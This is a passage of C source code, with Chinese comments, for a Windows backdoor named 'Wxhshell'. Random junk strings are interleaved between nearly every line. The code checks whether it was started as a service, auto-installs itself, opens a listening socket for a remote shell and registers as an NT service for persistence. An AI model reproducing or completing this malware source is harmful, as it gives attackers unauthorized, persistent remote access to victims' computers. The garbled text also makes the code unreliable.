FVPhk 2 H 0aDWFWS hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MS)# S& if(!hProcess) return 0; h/?8F^C#v rp6Y&3p. if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >JkQU e ;e_dk4_ CloseHandle(hProcess); vRpMZ)e vQ#$.*Cvn hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G|Yw
a= if(hProcess==NULL) return 0; tx;MH5s/V i/2OE&*O[ HMODULE hMod; (`5No:?v< char procName[255]; tKjPLi71 unsigned long cbNeeded; |FHeT*" "CapP`: if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fIu5d6;' 5?r#6:(yI CloseHandle(hProcess); @Kd1|K )l[<3<@s if(strstr(procName,"services")) return 1; // 以服务启动 e#(0af8A bIu'^ return 0; // 注册表启动 #UG| \}Lp } ZSuUmCm MUh) // 主模块 :DXkAb2 int StartWxhshell(LPSTR lpCmdLine) zW,m3~XX: { O8(;=exA SOCKET wsl; I\&..e0l BOOL val=TRUE; \bw71( Q int port=0; PspH[db struct sockaddr_in door; P%z\^\p"5 8xJdK' if(wscfg.ws_autoins) Install(); ^3B{|cqf -==@7*x!Z port=atoi(lpCmdLine); ~
'
81 BG_m}3j if(port<=0) port=wscfg.ws_port; p%EU,:I6 .Qg!_C WSADATA data; kSv?p1\@&P if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $qYtN`b, d/!sHr69 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "IA[;+_" setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c[}h( jkP door.sin_family = AF_INET; C'4u+raq door.sin_addr.s_addr = inet_addr("127.0.0.1"); B$1nq#@ door.sin_port = htons(port); 1k6f|Al- Wp/!; if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *[*LtyCQt4 closesocket(wsl); R/R[r> 1)6 return 1; TS^(<+' } jz
QmYcd m3C&QdjRp if(listen(wsl,2) == INVALID_SOCKET) { JryDbGc8 closesocket(wsl); ](a*R return 1; <?kr"[cQeP } fQi7e5 Wxhshell(wsl); $IX>o&S@| WSACleanup(); QDYS}{A:V QMea2q|3$ return 0; `e .;P !/znovoD } 2hdi)C,7Y VJJGTkm // 以NT服务方式启动 d|k6#f-E VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BoYWx^VHx^ { Q%KH^< DWORD status = 0; rVd (H DWORD specificError = 0xfffffff; W -<E p<7{ LbOjKM^- serviceStatus.dwServiceType = SERVICE_WIN32; &>\E
>mJ serviceStatus.dwCurrentState = SERVICE_START_PENDING; `Jhu&MWg serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~z#Faed=a serviceStatus.dwWin32ExitCode = 0; A^
$9[_ serviceStatus.dwServiceSpecificExitCode = 0; $j0]+vT serviceStatus.dwCheckPoint = 0; !;.i#c_u serviceStatus.dwWaitHint = 0; } R!-*Wk 8fFURk hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9_V'P]@ if (hServiceStatusHandle==0) return; ..V6U"/ ]Cnj=\' status = GetLastError(); #x$. if (status!=NO_ERROR) o)F^0t { *X+T>SKL serviceStatus.dwCurrentState = SERVICE_STOPPED; SoeL_#+^W serviceStatus.dwCheckPoint = 0; lTW5>% serviceStatus.dwWaitHint = 0; >e
:&k p serviceStatus.dwWin32ExitCode = status; 4N&
VT" serviceStatus.dwServiceSpecificExitCode = specificError; |(N4ZmTm SetServiceStatus(hServiceStatusHandle, &serviceStatus); dDbPM9]5 return; 2LGeRw } oRFHq>-.g >i7zV`eK serviceStatus.dwCurrentState = SERVICE_RUNNING; P0uUVU=B| serviceStatus.dwCheckPoint = 0; :$."x
' serviceStatus.dwWaitHint = 0; Ar7vEa81 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0^nnR7 } jv<BGr=4; KArt4+31 // 处理NT服务事件,比如:启动、停止 TV\21 VOID WINAPI NTServiceHandler(DWORD fdwControl) W4Rs9NA} { ; S7
% switch(fdwControl) Uq `B#JI { -'3~Y
2# case SERVICE_CONTROL_STOP: = zW}vm } serviceStatus.dwWin32ExitCode = 0; Zm,< |